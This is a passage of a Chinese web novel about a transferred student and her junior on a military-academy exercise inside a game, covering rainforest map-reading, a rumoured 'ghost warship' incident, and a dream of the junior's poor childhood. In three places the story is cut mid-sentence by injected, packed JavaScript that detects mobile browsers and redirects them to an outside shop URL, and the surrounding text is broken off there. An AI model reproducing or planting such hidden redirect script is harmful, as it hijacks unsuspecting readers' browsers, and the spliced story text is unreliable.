“我在‘添砖加瓦’!”白川头也没抬,“学姐你可以打开地图看一看,不愧是帝国排名第一的军校,这帮人效率还挺高。”后两句话是他的小声嘀咕。 地图? 夏林愣了一下,打开了光脑地图。光屏上显示出的画面已经与之前她看时截然不同。 原本只有等高线和陆地海洋色块的简单地图此时上面已经多了几十个标注。她随手点开了一个。风力,紫外线指数,湿度,气压,标注时的温度,甚至还有上传地点附近的全景图。 这是…… 视线往下,夏林很快发现自己当前所在的位置也多了一些信息标注。虽然来源者是匿名,但显然是白川刚刚上传的。 “学姐,现在我们就可以用这个仔细研究一下我们的任务地点啦!”白川笑嘻嘻地对着夏林指了指光屏。 然后他打开任务页面一秒表情转为了不嘻嘻,捂头哀嚎:“不过话说回来,我们这个也太抽象了吧?难不成学姐你的运气也不怎么样吗?” 夏林:“……” 夏林顿了一下,鬼使神差地开口:“这个数据,真的能用吗?” 说完之后自己愣了一下。 此时恰好是正午时分,过于强烈的光线晒得有点热。白川伸手摘下了自己头上的帽子,拿在手上当成扇子在脸侧给自己扇风。 “学姐,你很谨慎呢,”白川挑眉,“当然能用,本来军校的学生就不是全以作战兵种作为目标的,还有负责侦查和探测的非战斗人员。这一类人要想获得一个好评价,自然会用这种方式展示自己的能力。而且我们已经获得了重力数据,其实根据学院发放的初始等高线图也能获得一些气压之类的数据,造假会很容易被看出来。” 夏林怔了一下,但还是点了点头,认可了白川的说法。 不知道自己方才一瞬间的不安从何而来。 “不过呢,这样的信任仅限于校内演练,毕竟大家都是同学。”白川话锋一转。他似乎觉得凉快了点,重新把帽子戴上,理了理侧边的小卷发,继续开口:“如果出了校门,这种有修改痕迹的地图就是绝不能拿来参照的。毕竟只要有一个数据是错误的,很可能就是致命的。无论修改痕迹的来源者是谁。” 帽檐落下的阴影让那双原本在阳光下发亮的棕色眼眸暗了几分。 “学姐你也一定要记得这一点,千万不能忘。”白川说道。 这句话就像是触发了什么开关。夏林的脑海中突然有一个模糊的画面一晃而过。 消失速度快得像是被光脑删除了一般。 她闭了闭眼,感觉自己的太阳穴丝丝发痛。她张了张口,试图将话题从地图上移开:“……任务照片中央的树干应该是一种高大的乔木,后面的植被也很茂盛丰富,这个地方的气候应该是温暖多雨。” 白川点了点头,很快在光脑地图上划出了一片区域:“根据他们标注的情报和太阳位置,这一带都是这个气候的。” 他抬头仔细看了一会,闭上了眼不想面对这巨大工作量的现实,小声嘀咕:“该不会是被哪个教官做局了吧?这么大的范围暂且不说,这种气候当地水系肯定也很丰富,找这一条小小溪流像是人能干的活吗?” 夏林察觉到自己的头痛似乎只要不去回想那个画面就会好很多,来得突然去得也很突然。她沉默着盯着自己光屏上的那张任务照片看了一会,忽然将某一个位置的小色块放大了50倍,指着上面将光屏展示给白川: “这个位置,是有一朵花吗?” 白川凑过来看了好一会: “这个花,花瓣的形状有点像蝴蝶?” 两人对视了一眼,各自低了头在光脑上一顿搜索对比操作。 十秒后,两人给出了相同的答案: “是雨林地区。” “这是只有在雨林地区生长的花!” 两人视线又重新回到了大地图上,这个星球的雨林地区只有一块。虽然面积也不小,但相较于之前,搜索范围已经大大缩小。 感谢光脑的无损摄影成像技术。 · 他们的目的地雨林地区距离原本的着陆点还是有一定距离的。等夏林和白川的视线内看见那一片由高低起伏的树冠交织在一起形成的绿色海洋时,天边已经渲染上了一抹柔和的橙红。 在傍晚可见度不高的雨林里探索显然不是一个好提议。夏林和白川将机甲掩藏在了植被茂密的隐蔽处,寻了一个平坦的位置安营扎寨。 等夏林处理好帐篷和行李,那边白川又开始准备料理他的“大乱炖”。 ……有一说一,还挺好吃的。 在中午的时候提议帮忙被拒绝后,这回夏林就安静地坐在一边等吃。 夜色很快笼罩了这片大地。 空气中弥漫着潮湿的泥土气息,耳畔传来几声锅里水沸腾时的翻滚声。 视线的尽头仿佛逐渐在被黑暗所吞没,夏林在恍惚中失去了焦点。 蓦地,一片柔和的橙黄光芒流淌到了身上。 是白川打开了一盏照明灯。 “作为雨林地区,这里真安静啊,学姐。”栗发少年将照明灯放在了两人之间,又往锅里放了一些食材后托腮看着前方。 “嗯。”夏林随口应了一声。在进入星际时代之后,每颗星球的生物分布状态都不太一样。即便是适宜的环境,也不一定会有很多种类的生物。 良久,那边才又有了声音: “学姐,为什么你从普通学校转来了军校呢?” 夏林精神一凛。 游戏简介里对于玩家为什么转学是什么都没说的。看来这个话题需要自己发挥。 现实里自己选择军校的理由…… 夏林张了张口,倒映在那双蔚蓝眼眸中的橙黄光亮颤了一瞬,由虚影转实: “因为……只能选择军校。” 她宛如呢喃般说出了这句话,说完后仿佛才回过了神,立即为自己打了几个补丁:“当然是因为军校不需要交学费,可以减轻家里负担,毕业之后可以顺利就业。” “……这样啊。”白川听完忽然沉默了下来。 就在夏林紧张自己是不是这个理由没成功的时候,白川抿了一下唇,伸手揭开了炊煮中的简易锅,往煮沸的水里又加了一些调味料:“看来学姐的家里也有一些不太好的情况。抱歉,我或许不该在吃饭的时候提起这些的。” 他拿出之前倒完食材的罐头盛了一些热汤,朝夏林递了过来: “先喝点汤暖暖吧,把刚才心里的不开心压一压。” 夏林伸手接过,放到唇边喝了一口。 “学姐这么懂事又努力,困难的日子一定不会持续太久的。”此时旁边传来了白川的声音。 这句话的语调极为温柔。 夏林心里突然有了一种奇怪的感觉,她张了张口,反问: “你呢?为什么来上军校?” “我有必须来这里的理由。”出乎意料地,白川答得很快。 夏林顺势往下问:“那个理由是……?” 这次白川却没有再回答,而是话锋一转:“学姐,你觉得为什么会有这个额外规则呢?” 夏林看了一眼白川,没继续追问,而是顺着他的话题说: “为了增加矛盾吧。虽然这个模拟演练已经在能源上做了限制,但是来参加的人数一共也只有40人。这么辽阔的场地,如果有意隐藏,好战分子完全可能到了第三天都没遇上一个人。但加入了阵营身份的话,至少身边就有一个合适的目标。” “……学姐,你的思路好像和普通人不太一样,一般来说不会怀疑组队的同伴是敌方的吧?”白川忽然笑了一声,扭头看向夏林,“但是我也有这样的猜测。所以学姐也认为,我和你是对立阵营?” 这是一个感觉有点危险的话题。 “如果我是这个模拟测试方案的设计者,会是这样。”夏林想了想,还是选择了如实回答。 那边的白川听到答案笑出了声:“别害怕,学姐。” “我悄悄告诉你,这次的模拟实战……” 白川边说边走到了夏林的身边,在她耳边悄悄开口: “我不通过也可以,只要你……” 夏林眼皮一跳,刚想提醒白川注意下教官的实时监控录像,本来还在笑着的栗发少年忽然变了脸。下一秒,摸枪瞄准开枪几个动作一气呵成。 这次模拟演练派发的手枪安的都是非致命弹,没有消音装置。这一下开枪,远处惊起了几声鸟鸣。 又逐渐归于静谧。 “出来!”清朗的少年音一下子冷了下来。 察觉到白川动作的同时也进入警戒状态的夏林紧盯着那一处异动灌木。不多时,有两个人影保持双手上举的姿势从中缓慢走出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026669|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走在前面的是个戴着圆形眼镜的栗发女生,扎了两个麻花辫垂落在肩侧,表情有些尴尬。后面出来的红发男生一脸不忿,显然不想以这种丢人的方式现身。 “那个……我们没有恶意的,就是路过看到这里有光,就来看一下。”栗发女生怯生生地开口说明,视线从白川瞄到了夏林,眼前一亮,“啊!你是那个唯一参加的二年级学姐!” “学姐?”她身旁的红发男生这才正眼瞧了过来,看了一眼夏林的二年级制服,“哟,还真是。” 他将视线重新回到了白川身上:“那你就是那个白川吧?听说你的实操课是第一名?怎么样,正好遇到了,练练?我是唐瑞。” “浪费能源,不打。”白川拒绝得极快。 “你……”唐瑞正要发火,却被一阵不合时宜的肚子咕噜声打断。他顿时一张脸涨得通红,不知道是气得还是羞得。 “对不起,我们之前着陆时遇到了一些意外,学校的行李都丢了。”先前麻花辫女生开口,见两人视线在她身上,又连忙补充了一句:“啊对不起忘记说了,我是唐瑶。” “就是……能不能拜托分我们一点补给?” 这个名为唐瑶的麻花辫女生似乎是相当内向的性格,就这几句话已经恨不得把头埋到了地里。 旁边的唐瑞倒是鼻孔朝天。明明也是他的事,一点没有出来为窘迫同伴帮忙的意思。 夏林抬眼看白川。以白川刚才的反应似乎是对这一组人没有好感。她不想贸然做决定。 然而那边的回答却与她想的截然不同。 “当然可以,”白川不假思索就答应了。他看了一眼唐瑞,“但是,如果我分给你们补给,你就不要再纠缠我对打了。” 唐瑞仿佛刚才一饿回了一些智商,没继续追着问,反倒是说:“那如果后续在中……在别的地方遇到了?”中间有一个词莫名地含糊了一下。 “后续在别的地方无所谓。”白川见两人似乎是同意了,就起身走过去朝他们伸出了手。 两人一脸莫名:“干什么?” 白川晃了晃手,一副理所当然的架势:“身上的武器交出来。今晚在这一起吃一起过夜,明天早上给你们补给再走人。” 两人懵了。 “我们又不是傻,你们的机甲在附近吧?现在你们已经知道我们在这里驻扎了,吃饱喝足回去晚上来偷袭怎么办?” “这俩帐篷可是我们学姐好不容易扎好的,难道大半夜的还得因为你们换个新的过夜地方麻烦学姐再扎一次吗?” 夏林愣了下,怎么突然扯到她扎帐篷。 然而那边的两人好像已经被说服。白川拿着“上缴”的两把军刀和两把手枪一溜烟地跑到了夏林身前,献宝似得呈了上来: “这样学姐就放心了吧。” 望着眼前这个有些得意的少年,夏林忽然心领神会。 因为她之前对待地图的态度。 如果连别人标注的地图数据都要谨慎使用,那么这两个人的离开显然会让她会觉得不安心。 她只是在前不久表现出了那么一次,这个小少年居然就记得了。 夏林垂下了眼睫,伸出手摸了摸白川耳边的小卷发: “嗯,谢谢你。” 眼前的栗发少年愣了一下,而后唇角上扬了些许。 夏林接过了收缴的武器,收好。另一边,唐瑞凉凉开口: “啧,疑心病这么重。既然武器都收了,是不是还要看一下阵营?放心吧,我和她都是帝国阵营的。” 这话一出,觉得奇怪的反而是夏林了。 她往前走了几步到唐家二人身边,说:“这么告诉我们合适吗?万一我们是联邦的呢?” 唐瑞瞥了她一眼:“如果你们真是,那就算我们倒霉。最多一只手的联邦阵营也能让我们在这里直接遇上俩。” 夏林和白川对视了一眼。 他们这态度让唐家二人紧张了一下: “喂,你们难道真是联邦阵营吗?真是的话把武器还我,就算规则上没说,淘汰无武装的人显然得不到什么分的。” “……” 夏林沉默了一下,还是继续问了下去:“为什么你知道联邦的人最多五个?” “不是吧?”唐瑞皱了下眉,“这位学姐,你难道真是联邦人吗?不对啊,就算是联邦人也应该知道‘那个事件’吧?” “……那个事件?” “那个有名的‘236幽灵事件’啊!” 9. 白川4 在众人的各异目光中,夏林迟疑了一下,还是开口:“什么是‘236幽灵事件’?” 唐瑞偏过头口中“啧”了一声,伸手抓了下自己的头发,纠结了一会才开口:“我们和你也没有那么深的交情,有些事就不多问了。至于那个‘236幽灵事件’,唐瑶,你来说。” “我?”唐瑶愣了下,顿时整个人像是接到了烫手山芋一般慌张,“就,就是星历935年,也就是距今11年前的凌晨,一艘未知军舰没有被任何仪器检测到,毫无预兆地出现在了帝国首都星的领域上空,直接触发了一级红色战时警报。” 夏林一听就皱了眉。 即使游戏内的科技水平看上去不及现实,这句话里也有太多不该出现的词语。 “那艘军舰在上空徘徊了2分36秒之后,就在众目睽睽之中消失了。” 唐瑶的第二句话很简短,却比前一句更宛如天方夜谭。 “2分36秒并不是一个很短的时间,更何况是在人口最密集的首都星上空,即使时间在凌晨也有不少路人的实拍影像留存下来,”她继续解释,“影像中,一艘体积那样庞大的军舰,就像水滴在高温蒸发一般,一秒钟不到就在空中这么消失了。” 夏林思索了一会,说:“用了一种新的光学技术?” “很可能是的。但那需要非常庞大的算力。有研究者提出,要想完成这样的‘隐身’功能。首先要动态获取太阳光在舰体每个角度的反射数据,再通过计算,在星舰表面投影出运行时每一个角度的背景颜色,才能达到‘看似透明’的效果。以帝国目前的技术水平是完全达不到的,而且也不知道探测雷达为什么也没有监测到……总之就是有很多技术盲点。” 夏林沉默了一会,提出疑问:“这个事件和我们这次模拟演练有什么关系?” “学姐,你难道平时不上网不用电子设备吗?”唐瑞忍不住又在旁边嘀咕。 夏林听了这故意挖苦的话脸上也没什么表情。一边的唐瑶连忙开口补充,生怕惹人生气:“我的错!是我没说清楚!是这样的,根据机甲传来的外部数据,这个星球的力场数据与首都星几乎是完全相同的,肯定不是巧合,而且这次特意额外附加了阵营规则……” 唐瑶的声音比之前低了一些:“据军校生之间流传的小道消息,虽然那艘军舰确实是什么都没做。但在一级警报的响应下,为数不多的帝国首都星警备几乎是倾巢出动,所以另一边,我们皇帝陛下的王宫守备空虚。” “当时联邦在帝国首都内的卧底看准了这个时机,潜入宫中行刺皇帝。不过幸好因为军部统帅纪淮宇将军恰好临时进宫,在宫内拼死保护皇帝才让联邦的偷袭计划没有成功。但纪将军本人却因此……” 唐瑶摇了摇头,没有继续说下去。 夏林蹙了眉。这个事件,不需要细想都感觉疑点重重。 不过她倒是明白了和这个模拟演练的关系:“所以这次额外增加了阵营身份,环境参数又是与首都星相似,联想到这个‘236事件’也很合理。既然是卧底,联邦阵营的人数就不会很多……” 一旁的唐瑶忽然道:“不过话虽这么说,其实关于‘236事件’,联邦政府无论是那艘技术超前的隐形星舰还是卧底刺杀,他们都没有承认。我们其实也没有找到直接证据。” 唐瑞白了她一眼:“你傻啊,哪国官方会承认自己派了卧底?” “可是既然联邦都有了这样强的光拟态技术,怎么后面的11年就再也没有拿出来过了?自‘236事件’之后,我们和联邦的《和平公约》正式灭亡,一直处于边境摩擦不断的战时状态,军备对国库的消耗也一年比一年大,我们国民的生活也……” 后面的话语戛然而止。 唐瑶直愣愣地看着忽然伸手掩住自己嘴唇的金发学姐,过了一两秒才像是突然反应过来什么,整个脸涨的通红。 夏林见她领会了自己的意思,收回了手。 私底下议论自己国家不是不可以,可现在这是全过程由光脑监控记录的校外模拟实战。 作为军校生,甚至是个新生,若在这里大谈质疑,别说这次成绩了,说不定会惹来其他的什么大麻烦。 气氛凝滞了几秒。 此时,一个盛满了各种小菜的罐头忽然被递到了夏林面前。 袅袅升起的热气从内而外散发着温暖的气息,空气似乎在重新变得鲜活起来。 “各位还没毕业就操大心的军校生们,先别管别人的生活了,我们得先管好自己。说真的,你们就不饿吗?再不吃全煮烂了都,”白川将罐头递给夏林后,又自己盛了满满的一大罐头,然后用筷子向唐家二人示意,自己边吃边含糊不清地道: “自己动手,丰衣足食。” · 一顿吃饱喝足之后,夏林站起身从行李里拿出备用帐篷,正在观望四周想在附近找个合适的位置搭起来。 边上一个怯生生的女声响起: “夏,夏林学姐……” 夏林老早注意到了这个在自己周围徘徊许久的眼镜学妹,此时见她终于鼓起勇气来搭话了,于是也应了她一声。 唐瑶看着夏林手上没停的动作,嘴唇翕动:“刚才……真的很谢谢你。” 夏林答得很快,根本不在意:“没什么。” …… 唐瑶捏紧了自己的制服衣角,再次开口: “学姐,你手上这个,难道是打算给我的帐篷吗?” 夏林看了唐瑶一眼,将手里的备用帐篷递出:“嗯,你要自己选位置吗?这附近都还可以。” 唐瑶一副想接又不敢接的犹豫表情:“谢谢学姐,可其实没必要这么麻烦的,我挤一挤就好了……” 夏林叹了一口气:“你也不问我愿不愿意和你挤?” “啊,对不起!”唐瑶一个激灵,条件反射地接过了夏林手里的帐篷,然后抱在怀里惴惴不安,进退两难,“那我……” “我难道长得很吓人吗?你一直低头不敢看我。”夏林沉声打断了她的话。 “没有!学姐很好看!”唐瑶听见这话下意识地抬起了头。 她们两人此时所在的位置已是照明灯范围的外侧,光线很暗。 可唯独对面那个金发蓝眼的学姐看上去格外清晰,如不存在的月光温柔地倾洒在了她的身上,整个人闪闪发光。 那双如宝石般湛蓝的眼眸中清晰地倒影出了她的模样,其中没有她经常能看到的嫌恶或是轻蔑。 只是在认真地看着她,等待她说话而已。 ……很久没有人这样“平凡地”对待她了,因为她总是一副胆小畏缩的模样。军校里大家都不喜欢这样的人。 唐瑶忽然觉得鼻尖发酸,用力地吸了一下:“学姐,我能自己去搭帐篷的。” “怎么突然一副要哭的样子?”夏林从初见起对这个学妹就有一种莫名的好感,此时态度也极为温和。于是她佯装样子往远处瞥了几眼,“再等一会,你的同伴该认为是我在欺负你了。” “没有……我哥他不会这么以为的。”唐瑶深吸了一口气平复情绪,然后摇了摇头。 “你们是兄妹?”这个消息还是挺让夏林意外的。 虽然名字很像一开始也有所怀疑,但这唐家两人的长相可是两模两样,没有半点相似。而且这哥哥对待自己妹妹的方式好像有点…… 夏林回想了一下。从这两人出现到现在,一直都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏林还未来得及问出口,白川已经大力甩开了唐瑶的手,然后一语不发地走开了。 她只得转头看留下来的唐瑶,这一看让她眼皮一跳。 明明一分钟前还在好好和自己说话的女孩,居然已是泪流满面。此时她摘下了眼镜,正在用袖子用力地擦去脸上的泪痕。 直到脸都擦红了,眼泪还在止不住地往下掉。 夏林犹豫了一下,开口声音比平时柔和了几分:“怎么了?” 唐瑶深吸了几口气,擦完了眼泪,勉强冲着夏林笑了一下:“……没什么。” 这情况纵然是迟钝如夏林也知道那肯定是有什么事了,但自己刚才看到的情景又有些微妙。 骚扰?那个胆小的唐瑶对白川?不可能吧? 还未等夏林斟酌出下一句台词,唐瑶又说:“学姐,我今天走了好多地方有点累了,我这就去洗漱准备睡觉了。我先走了。” 话落,她没留给夏林任何回话的机会,直接转身朝着与白川相反的方向离开了。 …… 等会,她是不是错过了什么重要剧情内容? 夏林站在原地纠结了半晌。刚打算离开之时,忽然看到地上有个闪闪发亮的东西。 她弯腰捡起来仔细一看。 是一颗红色包装的巧克力。 她记得,白川给别人的似乎一直都是金色巧克力,红色的是他自己吃的。 · 这天晚上,夏林做了一个梦。 10. 白川5 与其说是梦境,倒不如说是这个游戏是在给她播放一段全息电影。 因为正常来说,在一天的活动结束后,玩家选择“入睡”就会自动进入下一天。但这次却是周围的场景变暗,一瞬间场景重构到了另一个地方。 厚重的灰暗云层布满了天空,分不清是清晨还是午后。空气中弥漫着潮湿难闻的气息,整座城市笼罩在雾霾中,零星的行人行色匆匆,牢牢地掩住了口鼻。 这里是? 夏林望见了边上立着的路牌,本想走过去看一下,却发现自己动不了。 这还是个固定视角的伪全息电影。 “卖报卖报!卖报啦——‘236事件’帝国联邦最新动态!” 稚嫩的嗓音吐字清晰又嘹亮,久久回荡在街头巷尾。 即使是在夏林所在的现实,也不是所有人都能买得起昂贵的个人光脑的。更何况这明显是个贫困的地区。 少年,亦或是男孩穿着明显不太合身的衣服,身上的破旧挎包和手里都攥着一大叠报纸,徘徊在十字街口来回踱步。 打过补丁的宽大黑色外套被水洗得有些边角褪色,颜色斑驳。 一个侧身的瞬间,夏林看清了男孩的样貌。 居然是白川。准确地说,是童年的白川。 看上去顶多只有五六岁的男孩脸上没有任何遮挡,一双棕色的眼睛清亮透彻,丝毫没有吆喝半天无人问津的尴尬。 夏林在街角看了他许久。 直到暮色降临,白川只卖出了八份报纸。他抬头望了望天色,将手中的崭新报纸小心地放入挎包,快步朝着一处街角跑入。 视角似乎是跟随着白川移动的。 男孩在七弯八拐的小巷里穿梭,不多时到了一处灰败墙壁外。他踮起脚尖,敲了敲上方结满灰尘的窗户。 窗户打开,从里面伸出了一只满是老茧和皲裂创痕的手。 白川将身上装满报纸的挎包取下,踮脚递了上去。 过了一会,零星几个硬币落入了他的掌心。 男孩低头看了一眼数量,捏紧转身朝着另一个方向跑开了,步伐明显比之前更为着急。 不多时,白川推开了一家烘焙店的门,进门就喊: “大叔,之前说好的面包……” “记得呢,都给你装好啦。” 一脸络须胡的中年男人接过了白川从口袋里小心掏出的一大把硬币,将一个厚实的大油纸袋放入了白川怀里。男孩感受到重量,低头打开一愣,表情迟疑:“我买不起这么多……” “没事没事,反正今天也是我最后一天营业了。”中年男人环顾着陈列空空橱柜的店面,表情唏嘘不已:“我在这颗星球活了一辈子,店也开了三十年了,没想到最后却是因为帝国和联邦的局势关门呐。” 他叹了一口气,对着白川语重心长: “小孩儿,这里马上要打仗啦,还是想想法子离开这里吧。那些机甲和星舰的火炮可是不认人的。” “哟,差点忘了还有这,”中年男人似乎在环顾的途中忽然看到了什么。他用手撑着柜台,伸长身子从下面的桌子上拿出了一些东西,蹲下了身塞到了白川的黑色外套口袋里,放了满满一口袋,都鼓了起来。 夏林睁大了眼睛。 是金色和红色外包装的巧克力。 “我牙不好吃不得这些,本来也是买来放着哄那些来店里的小孩的。这里的人们手头都不宽裕,那些每次来替家里人跑腿的孩子都会在橱柜前眼馋地盯着看好久,久了看得我也觉得怪可怜的。可我这里的面包价格已经很低了,也不可能每个孩子来都接济,人总是要过活的啊……” 中年男人絮絮叨叨了一会,视线瞥见白川侧脸紧抿的唇角,忽然顿了一下,止了话摇了摇头:“但你这孩子就从不多看。每次只进来买了就走,没钱就从来不来,一点不像个小孩儿。” 他拍了拍白川的肩膀,看到了男孩外套上的补丁: “小大人,这些都别不舍得吃。大叔可是提醒你了,面包最多只能放三天,这些巧克力也买来好久了,剩下的保质期也放不过一个月的。” 白川安静地听着,抓着纸袋边角的手指捏得发白,又松开。 他低下了头,闷声道:“……谢谢大叔。” 中年男人笑了下,揉了揉栗色的脑袋,站起身嘱咐道:“快走吧,时候不早了。” “嗯。” · 下一个场景是白川一路爬上了铁锈斑斑甚至缺口不少的楼梯,在一间位于屋顶的小阁间门口站定,拿出钥匙打开了门。 似乎是他住的地方。 白川将黑色外套的拉链拉开,将里面藏得严严实实又保存完好的纸袋子小心地拿了出来,置于小桌上,然后往里喊了一声: “吃饭啦!今天说好了,你过生日,给你准备了大餐!” 夏林愣了一下。 不多时,从里面跑出一个更瘦小的栗色长发女孩,身穿的白色长袖连衣裙边沿有些泛黄。 女孩看见桌上的纸袋子眼睛都亮了:“你买大叔的面包回来啦?” 一旁的白川拿出两个玻璃杯,往内倒了满满两杯像是果汁的饮料。倒完后他晃了晃饮料盒子,显然已经没有了。 他把空盒子拿在手里,正准备去丢掉时却被女孩一把抓住: “我们今天喝完吗?我可以只喝一半的。下个月……不是轮到哥哥过生日了嘛?这个很贵……” 女孩露出袖子的手腕干瘦得异常,仿佛轻轻一碰就会折断。她说话的时候又眼巴巴地看了好几眼桌上杯子里满满当当的饮料。 白川沉默了一下,忽然开口: “这个已经不能再放了。食物放久了都是会坏掉的,坏掉就不能喝了。” “那不行,坏掉就太可惜了。我们今天就喝掉吧!”年幼的女孩很容易就信了这个说辞,放开了手。 等白川丢完回来,女孩已经乖巧地在小桌的另一边坐了下来,纸袋内的面包都被拿了出来,一个个郑重地放在桌上。 见他回来,女孩一双眼睛亮亮的:“哥哥,你先选吧。” 面积不大的小桌摆满了造型各异的面包,鼻尖萦绕的香甜气息对这两个孩子来说是个不小的诱惑。 白川忙碌了一天,显然也饿极了。他咽了一下口水,看了一圈,拿了一个他知道女孩绝不会选的最普通的全麦面包,放到唇边咬了一口。 然后看见对面的女孩小心翼翼地拿起了她念叨过好几次的奶油面包,咬了一小口就露出了非常幸福的表情。 女孩很快吃完了手中的面包,看了一眼桌上忽然不敢拿下一个了。她有些惴惴不安: “哥哥,为什么有这么多啊?我们有这么多钱吗?” “烘焙店的大叔说这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我不问你要奶油面包了,从明天起我也会和你一起去卖报的,呜——不要丢下我——哥哥——咳咳,咳咳咳。” 连续的哭喊声引发了剧烈的咳嗽。白溪呼吸困难,像是要把肺咳出来一样,整个脸涨得通红。 像是已经多次面对过这种情况,白川十分冷静地从边上拿出最后一瓶吸入式药剂,一边让女孩吸入药剂一边轻轻拍着背顺气: “深呼吸。深呼吸。对不起,哥哥不说了,不会把你送走的。” 过了许久,白溪的气息终于平复了一些。 她趴在小桌上,张口呼着气,一会儿忽然揉了揉眼睛: “我怎么觉得有点困。” 白川还在轻轻地拍着她的背:“你刚才太累了,休息一会吧。” 白溪此时已经眼睛都有些睁不开了。但她仿佛冥冥之中感觉到了什么,强撑着精神,伸手用力地抓住了白川的手指:“你,你刚才说好了,不会把我送走的。你绝对不可以抛弃我。” “……嗯,说好了。” 得到肯定答案的女孩终于松开了手,安心地闭上了眼睛: “那,我就睡一小会,等会记得喊我起来。今天我过生日,我们还有好多面包没有吃呢,哥哥也还没有给我唱生日歌……” 白川沉默了一下:“那哥哥现在给你唱好不好?” “……” 屋内没有再响起女孩的声音。 只剩下一个刻意压低音量的嗓声在清唱着: “祝你生日快乐,祝你生日快乐。” “祝你幸福,祝你健康。” “祝你前途~光明……” 歌词里隐约夹杂着一些哽咽。 11. 白川6 梦境戛然而止。 直到帐篷外传来唐瑶的声音,夏林才在恍惚中回过了神。 游戏已经进入了下一天。 她缓慢地起身,拉开了帐篷拉链,低头钻了出来。 清晨的风带着凉意,冰冷的空气接触到了脸颊和脖颈的裸露皮肤,让她不由得打了个寒颤。 见夏林出来了,外边说话的声音逐渐变大。 唐瑞在那边和白川不知道在掰扯些什么,你一言我一句地,吵得分毫不让。 但显然是白川占了上风,远远望去,少年眉眼间得意的小表情藏都藏不住。 与方才梦境里红着眼眶的男孩大相径庭。 “夏林学姐!” 不远处,唐瑶已经收拾好了她的帐篷,朝这边走来。 看着看着,这个由远及近的栗发女生五官轮廓逐渐与梦境中的消瘦女孩重合。 夏林突然间明白了什么。 “学姐!看那边的情况,我们好像马上要走了。虽然认识的时间很短暂,但是……”唐瑶不好意思地捏了下自己的衣角,抬头看她,“真的各种方面都很谢谢你!” 结果这一抬头却发现夏林看着她的目光很复杂。久无回应,唐瑶不由得重复了一遍:“学姐?” “你,真的就这样走了吗?”夏林看了她一会,问。 唐瑶愣了一下,很快想到了什么:“啊,是因为昨天晚上?” “真的没事的啦,”唐瑶推了一下鼻梁上的眼镜,唇边竭力扬起的笑意十分勉强,“就是一点点小事,现在……现在暂时就这样吧,我们还在考试中呢。” 此时另一边有了些许动静。唐瑶朝唐瑞所在的方位望了一眼:“好像是在喊我了,那学姐我先走啦,再见!” 唐家二人带着一个行李包离开了。 白川走了过来,打开光脑投影出了他们目前所在的这片雨林地区的地图,着重标注出了上面的水系,开始说明: “这里其实只有一条主河贯穿了整个区域,但由于气候亦或者是地壳运动,分流出去的分支可不少。我和学姐分头行动各自负责一半的话,今天应该勉强可以巡完。” 夏林盯着地图仔细地看了一会,标记清晰,检查面积中的水系分布合理,于是点头道:“那么我去主河道下游这块,你负责上游。” “没问题!有发现或者有突发情况的话,记得用队内频道联络。”白川指了指光脑示意。 两人分工完毕,白川便转身欲走。后方的夏林忽然开口: “你……” 白川脚步一顿,回头:“怎么了?” 栗发少年神色如常,仿佛唐瑞唐瑶二人从未来过。 夏林沉默了一下,摇了摇头: “……没什么。” 蓦地,有什么东西被眼前人以一个很快的动作塞进了手心。夏林将手掌摊开,低头看: 是一颗金色包装的巧克力。 “今天我们要分开行动了,‘饭后甜点’提前给你。记得好好吃饭。”白川收回了手,冲着夏林露出了一个笑容。 夏林抿了下唇,抬眼看他:“你也是。” 白川愣了一下,第一次从夏林口中听到这样的回复。 他不知想到了什么,眉宇渐渐地舒展,低垂着的眼眸像是不小心洒入了几点熹微的晨光,熠熠生辉。 白川从口袋里拿出了一颗红色巧克力,捻在指尖在夏林眼前晃了一下: “那当然了。” 少年此时唇边的微笑有了几分梦境中的轮廓。 · 其实早在看到地图时,夏林就知道只凭他们两台军校普通型机甲搜寻一整个雨林地区,着实是有点勉强的。 这个地区不算大,但也并不算小。而且任务上的那张照片看角度显然是当时负责的教官特意离开载具,脚踏实地踩在地面上拍摄下来的,与他们坐在机甲驾驶舱看出去的视角画面差了可不止一星半点。 但又不可能每到一片区域就下机甲出去仔细查看。 此时再想缩小范围,可能就得估计一下那张照片画面最中央的乔木树的高度了。 照片中只拍到了这棵树的最下方,没露出它的半片树叶,也不知道是个什么品种。但是通过后面那些露出全貌的绿灌木植物在光脑上记录的正常高度,再根据透视角度远景距离换算,中央这棵乔木树的高度或许超过60米。 夏林驾驶的机甲此时的飞行高度就在55米左右,距离开始已经探查了10小时23分。 她将机甲降落到了一处,在光脑地图上给这一部分刚飞完的水道上打上标记,她这半边的探索进度已经到达了56%。 依然一无所获。 期间有几次与白川通话,对方也差不多。 差不多的探索速度,完全一致的毫无结果。 夏林长吁出一口气。 虽然三天的模拟演练时间除去今天还剩下一天,按照目前的探索速度完全是足够的。但不知为何,她心里一直有些焦虑。 夕阳的余晖已悄然铺陈了下来,余下的活动时间不多了。夏林再次启动机甲,这次的目标是当前位置西南部20度左右的蜿蜒河流。 如果这一条也不是,剩下的就得等明天再找了。 并非是因为晚上驾驶机甲太过明显会有危险,而是晚上看不清楚周围景色,愈发难以辨别任务地点。 蓦地,夏林心头一跳,机甲停在了空中。 她仔细看了看后面的河道弯曲角度,以及面前的这颗超过70米的望天树。 好像……有点像。得降落看看附近有没有那种蝴蝶兰。 然而夏林刚驾驶着机甲降落,光脑上就自动出现了一条提示: 【恭喜!学员“夏林”已确认到达任务场地!】 